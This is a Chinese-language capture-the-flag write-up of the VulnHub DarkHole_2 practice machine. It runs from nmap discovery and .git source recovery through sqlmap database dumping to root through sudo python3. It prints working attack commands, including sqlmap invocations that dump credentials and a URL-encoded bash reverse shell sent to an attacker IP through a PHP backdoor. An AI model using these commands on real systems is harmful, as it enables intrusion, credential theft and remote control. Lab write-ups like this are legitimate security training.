前言
DarkHole_2是VulnHub发布的一个WEB靶场,难易程度:难。
靶场下载地址:https://www.vulnhub.com/entry/darkhole-2,740/
打靶记录
信息收集
首先使用nmap扫描:nmap -sP 192.168.100.0/24
,扫描出存活的IP主机。
通过扫描,发现靶机的存活IP为192.168.100.150
,对该IP地址进行全端口扫描并且探测详细信息:nmap -A -p 1-65535 192.168.100.150
通过nmap扫描,发现80端口有git仓库,使用Githack工具把仓库进行源码恢复
对恢复出的文件进行查看,里面有不少东西,使用git工具
找log看看
通过恢复.git文件,发现了login.php
文件,对192.168.100.150/login.php
进行访问,成功发现登录界面
登录需要邮箱和密码,使用git工具
对恢复的.git源码进行查找缓存,发现了一行被删减的代码,发现为测试账号与密码:lush@admin.com / 321
使用账号密码成功登录!
漏洞利用
访问页面发现一个注入点:http://192.168.100.150/dashboard.php?id=1
,使用sqlmap进行爆破,这里爆破我们切记需要加上cookie!
SQL注入成功,利用sqlmap看一下darkhole_2
数据库中的表有什么
sqlmap -u "http://192.168.100.150/dashboard.php?id=1" --cookie=PHPSESSID="dsvfgdnc9r2aa3f4qglqbsi0p7" -D darkhole_2 --tables --batch
darkhole_2
库中有ssh与users
两个表,将两个表中的数据进行dump(全部展示)
sqlmap -u "http://192.168.100.150/dashboard.php?id=1" --cookie=PHPSESSID="18qrep0ng8ql7aivl5n91rpqab" -D darkhole_2 --dump --batch
在darkhole_2
数据库中的ssh
表中,成功发现了SSH的登录用户名和密码:jehad / fool
试一下,成功登录!
前往losy的家目录,发现第一个flag文件:user.txt
cd /home/jehad && cat user.txt
查看Crontab定时任务:cat /etc/crontab
,发现定时任务,执行/opt/web
里面的PHP代码,并且监听9999端口
查看一下/opt/web/index.php
的PHP代码,发现是一个PHP后门代码
执行以下Shell命令:netstat -tnlp
,查看一下tcp进程
9999端口是对外监听状态,尝试使用curl
访问:curl "127.0.0.1/?cmd=id"
,成功执行Linux命令:id
在cmd处传入反弹Shell的参数,不过需要url编码一下,执行命令
curl "127.0.0.1:9999/?cmd=bash%20-c%20'bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.100.128%2F1234%200%3E%261'"
成功反弹Shell之后,搜索了一番之后,在losy的家目录下的.bash_history
文件中发现了losy密码:gang
提权
SSH切换为losy用户:su - losy
,输入sudo -l
查看一下可以使用 sudo
命令执行的权限的命令
发现python3
可以随便用sudo
,那就使用python3提权。在GTFOBins中查找提权命令。
输入命令,成功提权为ROOT!查看/root目录下的文件:root.txt,获得Flag!
- 最新
- 最热
只看作者